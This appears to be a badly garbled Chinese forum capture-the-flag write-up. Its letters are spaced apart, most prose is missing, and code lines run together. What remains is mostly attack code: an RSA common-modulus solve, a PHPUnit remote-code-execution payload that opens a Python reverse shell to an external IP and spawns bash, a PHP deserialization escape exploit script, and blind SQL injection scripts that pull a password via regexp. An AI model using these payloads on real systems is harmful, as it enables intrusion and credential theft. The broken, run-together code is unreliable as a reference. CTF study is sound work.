8 0 6 2 4 3 2 5 7 6 0 8 7 4 1 0 8 1 7 6 1 1 0 3 0 1 4 8 4 9 7 7 5 2 9 7 7 9 8 7 6 9 1 2 3 0 2 5 2 9 4 1 9 0 1 2 4 3 5 2 0 5 9 8 6 7 8 9 3 3 4 1 3 1 0 5 8 3 3 4 5 6 9 8 5 5 1 1 9 8 6 6 2 9 1 1 0 6 3 1 9 4 7 4 3 6 9 5 4 7 3 9 3 7 9 8 2 1 8 9 5 8 0 1 3 6 9 0 4 5 0 0 5 4 6 1 7 9 8 7 2 9 1 1 9 0 7 6 9 9 6 5 5 9 0 1 6 6 6 9 9 1 4 9 1 6 5 4 4 2 1 1 7 2 9 5 9 2 6 4 c 4 =   =   5 7 7 5 3 9 9 9 7 9 1 3 6 7 9 5 4 8 1 2 8 7 7 1 3 0 6 8 6 0 5 8 1 2 1 0 5 4 4 4 3 6 7 8 9 2 5 2 9 0 1 2 2 6 9 9 7 3 2 9 4 2 3 7 4 5 5 2 3 7 7 5 3 0 9 1 2 5 4 4 5 6 9 7 8 3 6 7 2 8 2 8 5 9 0 2 4 0 4 2 2 8 7 7 2 2 3 8 2 6 1 9 7 8 7 9 2 8 9 4 7 2 4 0 3 5 8 5 7 5 7 1 7 2 2 7 3 2 7 7 2 3 9 2 9 7 5 2 6 6 6 5 0 6 3 8 9 4 1 5 0 6 2 3 3 7 3 1 0 9 7 9 6 6 0 8 8 5 9 9 2 1 9 5 5 3 0 1 6 9 1 0 8 9 5 4 0 7 2 9 8 3 1 9 1 7 1 6 0 1 7 8 8 6 8 2 3 1 6 8 2 0 7 2 7 5 2 1 9 7 5 8 0 2 0 3 4 8 4 2 8 8 1 6 4 1 3 3 2 1 7 6 6 3 6 8 8 0 6 7 1 9 2 6 6 6 9 6 7 7 7 0 9 2 5 1 3 6 8 4 8 9 5 9 2 0 4 9 1 8 8 2 6 4 8 5 8 9 7 4 1 7 1 3 6 2 7 9 9 0 5 1 9 1 8 7 9 2 7 1 4 1 2 1 5 1 7 4 2 2 4 6 4 8 4 0 7 6 6 2 2 0 6 3 6 7 9 5 8 9 7 5 4 2 5 9 1 0 6 2 5 2 9 3 3 4 1 3 5 3 6 5 6 8 4 8 5 5 2 9 8 0 3 6 7 8 7 8 0 5 8 1 9 9 8 2 7 7 6 7 0 3 6 1 3 3 9 7 9 5 1 2 0 8 0 2 7 4 9 9 6 2 6 1 6 1 9 7 1 5 4 0 3 4 0 3 8 4 3 5 7 5 1 7 3 5 0 9 5 4 7 5 5 9 1 7 8 5 3 9 8 1 4 4 4 6 9 6 8 8 9 4 9 0 4 1 4 6 2 0 6 8 8 9 2 2 4 1 4 3 0 6 4 7 0 6 6 3 6 2 5 1 0 7 9 2 0 2 5 5 4 7 8 2 9 5 8 7 1 2 1 2 5 0 0 7 3 1 2 6 2 9 0 6 7 0 6 6 7 7 2 3 0 2 3 1 2 7 3 7 7 3 0 8 1 0 8 2 9 3 7 6 9 9 9 0 0 8 9 7 0 1 8 5 0 7 6 6 6 9 5 9 6 1 7 2 6 2 2 6 5 7 7 8 8 9 5 8 3 0 6 6 5 2 3 1 9 6 0 6 2 6 6 2 3 9 3 6 5 3 9 6 1 9 5 5 8 3 2 3 3 5 0 0 3 1 2 0 0 0 4 6 3 3 1 8 6 5 2 0 4 8 3 3 0 0 2 3 8 7 8 2 6 4 8 0 3 0 0 5 5 6 3 9 8 9 7 5 5 1 8 0 4 4 6 6 0 4 5 3 8 6 2 1 8 6 1 9 1 8 8 5 0 5 2 1 0 4 6 6 9 1 8 2 1 2 4 2 0 5 5 6 2 6 2 9 2 6 0 5 8 5 5 0 2 2 8 2 4 8 9 9 3 6 3 6 9 1 3 2 7 0 3 2 2 1 6 2 5 7 9 2 9 1 7 6 8 4 7 1 4 2 8 1 2 7 8 5 2 6 6 9 0 4 9 8 0 4 1 7 6 8 6 9 8 2 3 1 6 7 1 5 3 8 5 4 0 2 3 1 2 1 7 2 0 4 4 5 7 9 2 0 0 8 9 1 3 2 1 2 7 6 1 5 5 0 5 2 0 6 7 1 8 2 4 1 0 8 2 4 1 6 5 8 4 9 1 1 3 1 3 5 6 5 3 8 0 7 8 4 0 6 8 4 9 4 3 2 1 4 3 8 3 0 1 9 9 4 9 3 2 1 1 5 3 0 1 9 6 1 9 5 6 8 9 8 9 3 6 0 0 6 1 0 1 7 9 9 9 4 5 1 7 5 0 0 6 8 4 7 2 9 4 4 9 1 4 2 3 1 7 2 9 8 8 3 7 1 8 3 1 1 9 9 8 1 6 1 1 0 3 9 4 7 9 6 1 4 6 8 4 2 7 2 6 1 9 2 6 1 3 9 5 0 9 0 0 5 0 7 8 5 2 0 8 4 7 1 2 8 8 8 5 5 0 3 9 7 6 5 7 9 9 0 3 5 8 4 7 1 1 7 2 6 6 2 8 6 6 4 0 3 0 9 6 0 6 1 4 1 8 2 7 2 1 1 1 4 6 1 7 4 3 1 9 9 6 8 3 7 3 9 4 4 7 2 8 9 0 0 5 3 1 1 7 3 4 5 4 4 4 2 1 8 4 7 8 7 6 1 3 3 4 6 2 2 3 6 1 6 1 4 6 3 0 0 5 7 2 8 8 1 0 7 2 8 4 2 2 8 7 3 0 8 7 6 7 0 5 5 2 0 1 9 5 7 5 1 9 5 1 7 9 4 0 0 8 3 1 7 4 8 0 6 8 6 9 9 2 5 7 5 8 1 2 7 1 0 8 8 7 4 6 5 5 0 0 2 1 7 2 2 4 3 4 3 1 7 0 9 1 2 6 0 4 9 6 5 5 6 3 7 3 7 4 2 5 6 2 8 0 5 4 2 6 6 8 8 5 8 8 9 8 0 9 8 1 7 8 8 9 0 0 c   = 7 9 5 1 2 9 1 6 9 5 5 2 2 9 1 0 0 6 8 6 1 7 5 4 0 0 2 2 0 6 5 1 3 8 2 0 9 3 7 6 4 1 9 8 0 6 9 8 4 3 4 3 8 2 4 1 8 9 3 6 2 6 1 4 2 3 4 2 2 7 4 6 9 9 9 6 1 2 4 4 5 7 6 4 3 0 3 0 5 9 6 7 4 2 1 9 2 0 8 3 8 9 5 7 4 0 2 4 5 3 4 6 7 2 7 1 7 0 6 9 8 2 1 4 1 2 4 1 4 1 5 9 1 4 6 5 5 1 3 6 6 5 4 5 9 9 6 3 5 3 9 4 9 7 8 3 1 9 6 0 1 0 2 1 3 5 5 3 9 1 8 9 2 7 5 8 0 7 7 9 9 9 5 0 1 9 1 7 4 1 8 6 1 9 1 0 3 2 1 4 5 3 3 3 1 4 9 1 8 8 9 1 3 0 3 7 4 7 1 1 9 0 2 2 9 2 3 9 0 9 9 8 4 6 3 2 1 4 8 5 0 3 3 2 3 2 4 3 6 9 3 5 6 1 1 5 7 1 3 6 7 5 4 1 4 9 3 0 4 4 2 7 7 0 8 1 5 3 3 4 0 8 9 9 3 8 7 5 2 5 7 3 1 1 7 5 3 7 3 4 5 3 6 1 4 7 5 7 1 1 6 7 0 9 5 8 9 6 6 6 9 0 7 7 7 1 9 4 1 4 1 3 1 4 5 2 3 3 1 0 4 6 0 9 0 4 6 4 8 3 7 5 9 0 7 4 9 8 2 0 0 9 1 0 0 9 1 5 8 8 7 5 1 5 2 4 5 7 8 8 8 9 0 0 3 5 5 7 9 1 5 4 0 0 4 4 9 4 3 1 8 9 8 8 7 4 7 5 3 1 1 9 7 7 6 4 1 1 4 3 5 3 8 0 3 5 6 8 9 6 6 3 8 9 1 5 9 7 9 8 3 9 7 1 2 6 0 3 2 7 1 5 6 0 4 4 0 2 3 6 8 7 8 9 6 4 2 6 0 5 5 7 2 8 0 6 1 8 5 5 3 4 3 9 8 5 2 4 2 9 6 4 2 4 8 5 8 4 3 1 2 8 0 8 7 7 7 1 7 8 9 6 2 3 7 5 9 3 6 0 4 3 8 2 2 2 0 1 0 1 8 4 1 5 6 5 3 2 3 5 8 1 4 4 8 5 6 1 5 2 0 5 3 2 7 4 0 7 4 0 0 7 8 0 0 0 5 8 5 2 5 6 1 2 7 8 6 8 3 1 5 5 2 0 8 6 8 3 3 6 4 9 4 2 0 5 1 0 6 7 3 7 9 7 7 9 8 6 6 5 1 5 1 9 9 1 9 9 1 2 9 2 0 2 2 4 0 0 1 0 4 8 5 9 5 2 9 5 0 7 2 8 3 7 2 1 8 9 2 2 2 7 1 5 0 4 1 9 2 1 3 4 2 6 5 1 5 7 4 0 6 1 0 2 8 2 1 9 3 4 2 2 9 2 1 0 7 0 0 6 4 9 6 3 0 6 6 9 0 9 9 6 2 4 8 2 3 2 1 5 4 0 1 1 9 8 2 6 3 8 4 0 6 5 9 9 1 8 3 1 1 7 9 9 9 6 2 4 4 6 3 1 7 6 0 0 8 8 6 4 7 1 2 3 6 1 0 8 4 0 2 6 6 0 7 4 9 9 2 2 5 9 6 2 2 0 2 4 1 8 2 6 4 9 2 1 2 5 9 2 9 6 4 1 2 1 3 2 5 6 9 4 9 8 4 2 0 9 4 8 1 5 6 2 3 1 9 9 1 4 2 2 1 2 1 9 6 7 6 4 3 4 7 0 9 3 4 3 6 1 2 0 8 9 8 2 8 4 2 2 0 3 4 0 4 8 7 6 0 0 2 5 8 6 9 7 6 8 5 5 7 6 3 2 6 4 9 8 9 2 4 5 4 6 1 8 7 0 2 9 3 7 0 7 2 1 5 1 5 3 8 3 3 8 5 5 4 6 3 5 2 4 7 1 3 4 3 5 4 4 7 2 6 5 2 7 4 1 5 1 3 9 5 1 5 6 3 9 6 0 2 9 5 0 7 3 9 4 8 4 2 8 1 0 4 4 0 8 4 8 9 4 7 4 0 9 7 4 7 6 9 2 9 4 0 6 6 3 2 7 1 9 8 1 8 3 0 6 8 6 2 3 6 5 9 7 9 0 5 0 8 6 3 1 0 9 6 5 4 9 7 2 9 5 6 3 4 4 5 2 4 5 4 5 0 2 7 9 2 5 7 9 7 5 0 8 5 6 5 6 6 6 4 4 9 5 6 4 2 8 3 9 8 1 8 6 9 5 9 9 5 5 6 6 2 3 4 5 0 5 2 8 9 9 3 5 5 8 6 6 8 1 8 2 7 6 3 8 8 5 5 6 8 6 9 3 0 9 8 3 7 5 7 9 4 1 5 3 1 7 4 3 6 1 5 4 4 1 5 3 9 1 3 9 6 7 4 5 0 0 2 0 1 5 3 8 9 4 2 1 8 0 7 8 4 4 6 6 6 8 7 7 3 1 4 5 6 0 2 5 7 1 7 5 2 7 6 5 0 6 0 6 4 1 9 7 6 7 8 1 4 1 3 3 4 9 5 6 9 8 4 5 5 2 0 6 8 1 4 8 5 9 8 9 2 3 2 4 9 2 3 7 1 2 3 5 5 8 4 7 7 8 3 3 1 4 9 1 0 2 4 0 0 e 3 = 3 8 6 3 2 1 e 4 = 2 1 6 4 3 7 s 0 ,   s 1 ,   s 2   =   g m p y 2 . g c d e x t ( e 3 ,   e 4 ) i f   s 1 < 0 : s 1   =   -   s 1 c 3   =   g m p y 2 . i n v e r t ( c 3 ,   n 2 ) e l i f   s 2 < 0 : s 2   =   -   s 2 c 4   =   g m p y 2 . i n v e r t ( c 4 ,   n 2 ) c   =   p o w ( c 3 , s 1 , n 2 ) * p o w ( c 4 , s 2 , n 2 )   %   n 2 a   =   g m p y 2 . i n v e r t ( h i n t * * 1 3 , n 2 ) d   =   ( c * a ) % n 2 f l a g   =   g m p y 2 . i r o o t ( d , 1 3 ) [ 0 ] p r i n t   l o n g _ t o _ b y t e s ( f l a g )
0 4 0 4 w e b p h p f 1 2     p h p     p h p u n i t     :   d i a b l e _ f u n c t i o n s     r e a d f i l e     p h p . i n i   p c n t l _ e x e c     p c n t l _ e x e c     p y t h o n     s h e l l h t t p s : / / g i t h u b . c o m / y b d t / e x p - h u b / t r e e / m a s t e r / 2 0 2 0 _ 1 1 _ 1 3 _ P H P U n i t % E 8 % B F % 9 C % E 7 % A 8 % 8 B % E 4 % B B % A 3 % E 7 % A 0 % 8 1 % E 6 % 8 9 % A 7 % E 8 % A 1 % 8 C % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 5 % A 4 % 8 D % E 7 % 8 E % B 0 % E F % B C % 8 8 C V E - 2 0 1 7 - 9 8 4 1 % E F % B C % 8 9 < ? p h p   p c n t l _ e x e c ( " / u s r / b i n / p y t h o n " , a r r a y ( ' - c ' ,   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M , s o c k e t . S O L _ T C P ) ; s . c o n n e c t ( ( " 4 7 . 2 4 2 . 1 1 . 1 8 3 " , 9 8 9 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; ' ) ) ; ? >
  f l a g , ( )   s u i d     s u d o       a d m i n     w e b     r o o t     a d m i n       p y t h o n     s h e l l   c a t   / f l a g L o g i n w w w . z i p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; c l a s s   F i l e   { p u b l i c   $ u s e r ; p u b l i c   $ p a s s ;
  :   2     o h h h h   E X P : p u b l i c   $ r e p a s s ; p u b l i c   $ d i r ; f u n c t i o n   _ _ c o n s t r u c t ( $ d a t a 1 ,   $ d a t a 2 ,   $ d a t a 3 ,   $ d a t a 4 ) { $ t h i s - > u s e r   =   $ d a t a 1 ; $ t h i s - > p a s s   =   $ d a t a 2 ; $ t h i s - > r e p a s s   =   $ d a t a 3 ; $ t h i s - > d i r   =   $ d a t a 4 ; } f u n c t i o n   L o g i n ( ) { i f   ( ( $ t h i s - > u s e r   = =   ' o h h h h '   & &   $ t h i s - > p a s s   = =   ' a 3 3 3 3 ' )   | |   ( $ t h i s - > u s e r   = =   ' a d m i n '   & &   $ t h i s - > p a s s   = =   ' a d m i n 8 8 8 ' ) )   { r e t u r n   t r u e ; }   e l s e   { r e t u r n   f a l s e ; } } f u n c t i o n   _ _ d e s t r u c t ( ) { i f   ( $ t h i s - > L o g i n ( ) )   { r e a d f i l e ( $ t h i s - > d i r ) ; }   e l s e   { d i e ( ' w r o n g   u s e r   o r   p a s s ' ) ; } } } f u n c t i o n   f i l t e r ( $ d a t a ) { i f   ( $ _ S E R V E R [ ' R E M O T E _ A D D R ' ]   = =   ' 1 2 7 . 0 . 0 . 1 ' )   { r e t u r n   $ d a t a ; }   e l s e   { $ f i l t e r _ a r r   =   a r r a y ( ' a d m i n ' , ' t e s t ' , ' r o o t ' ) ; $ f i l t e r   =   ' / ' . i m p l o d e ( ' | ' , $ f i l t e r _ a r r ) . ' / i ' ; r e t u r n   p r e g _ r e p l a c e ( $ f i l t e r , ' h a c k e r ' , $ d a t a ) ; } } i f   ( i s s e t ( $ _ G E T [ ' u s e r ' ] )   & &   i s s e t ( $ _ G E T [ ' p a s s ' ] )   & &   i s s e t ( $ _ G E T [ ' r e p a s s ' ] )   & &   i s s e t ( $ _ G E T [ ' d i r ' ] ) )   { $ u s e r   =   $ _ G E T [ ' u s e r ' ] ; $ p a s s   =   $ _ G E T [ ' p a s s ' ] ; $ r e p a s s   =   $ _ G E T [ ' r e p a s s ' ] ; $ d i r   =   $ _ G E T [ ' d i r ' ] ; $ g e t   =   f i l t e r ( s e r i a l i z e ( $ _ G E T ) ) ; }   e l s e   { d i e ( ' h e l l o   w o r l d ' ) ; } h t t p s : / / b l o g . c s d n . n e t / s l c 3 3 1 5 / a r t i c l e / d e t a i l s / 1 0 7 8 6 8 9 0 5 i m p o r t   r e q u e s t s f o r   i   i n   r a n g e ( 2 0 0 ) : e x p   =   ' a d m i n '   *   i u r l   =   " " " h t t p : / / e c i - 2 z e g m u b w r c 7 i 5 l g 2 3 6 7 d . c l o u d e c i 1 . i c h u n q i u . c o m / i n d e x . p h p ? u s e r = o h h h h & p a s s = a 3 3 3 3 & r e p a s s = % s " ; s : 3 : " d i r " ; s : 5 : " / f l a g " ; } & d i r = 1 " " " % ( p a y l o a d ) r e s   =   r e q u e s t s . g e t ( u r l ) i f   " f l a g { "   i n   r e s . t e x t : p r i n t ( u r l ) p r i n t ( r e s . t e x t )
L o g i n 2   s q l     , / * * /     a d m i n       a d m i n       r e g e x p   b i n a r y       f l a g i m p o r t   r e q u e s t s u r l   =   ' ' p o s t   =   { " u s e r n a m e " : " " , " p a s s w o r d " : " { } " } a 1   =   ' 0 x 5 e ' a 2   =   ' . ? ^ * + $ ' r e s u l t   =   ' ' f o r   i   i n   r a n g e ( 1 , 2 0 ) : f o r   i   i n   r a n g e ( 3 2 , 1 2 7 ) : i f   c h r ( i )   i n   a 2 : p a s s e l s e : a 3   =   s t r ( h e x ( i ) ) . r e p l a c e ( ' 0 x ' , ' ' ) p a y l o a d   =   ' | | / * * / p a s s w o r d / * * / r e g e x p / * * / b i n a r y / * * / { } # ' . f o r m a t ( a 1 + a 3 )
  a d m i n     p a s s w o r d   : T h i s 1 s n O t t h E r 1 g h t f L a g     f l a g l o g i n 2 T i p m i s c & c r y p t o E D I + a 3 ) p o s t [ ' p a s s w o r d ' ]   =   p a y l o a d r e s   =   r e q u e s t s . p o s t ( u r l , d a t a = p o s t ) i f   " f l a g "   i n   r e s . t e x t : r e s u l t   =   r e s u l t + c h r ( i ) p r i n t ( r e s u l t ) a 1   =   a 1 + a 3 b r e a k i m p o r t   r e q u e s t s i m p o r t   s t r i n g d e f   s t r 2 h e x ( s t r i n g ) :     r e s u l t   =   ' '     f o r   i   i n   s t r i n g :         r e s u l t   + =   h e x ( o r d ( i ) )     r e s u l t   =   r e s u l t . r e p l a c e ( ' 0 x ' , ' ' )     r e t u r n   ' 0 x ' + r e s u l t s t r s   =   s t r i n g . a s c i i _ l e t t e r s + s t r i n g . d i g i t s u r l   =   " h t t p : / / e c i - 2 z e g 7 c 6 l v 4 s 6 y q t o k 9 l b . c l o u d e c i 1 . i c h u n q i u . c o m / " h e a d e r s   =   {         ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 4 . 0 ' } p a y l o a d   =   ' o r / * * / p a s s w o r d / * * / r e g e x p / * * / b i n a r y / * * / { } # ' i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         n a m e   =   ' '         f o r   i   i n   r a n g e ( 1 , 4 0 ) :                 f o r   j   i n   s t r s :                         p a s s w d   =   s t r 2 h e x ( ' ^ ' + n a m e + j )                         p a y l o a d s   =   p a y l o a d . f o r m a t ( p a s s w d )                         p o s t d a t a = {                                 ' u s e r n a m e ' : ' a d m i n ' ,                                 ' p a s s w o r d ' : p a y l o a d s                         }                         r   =   r e q u e s t s . p o s t ( u r l , d a t a = p o s t d a t a , h e a d e r s = h e a d e r s )                         # p r i n t ( p o s t d a t a )                         i f   " f l a g "   i n   r . t e x t :                                 n a m e   + =   j                                 p r i n t ( j , e n d = ' ' )                                 b r e a k    

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则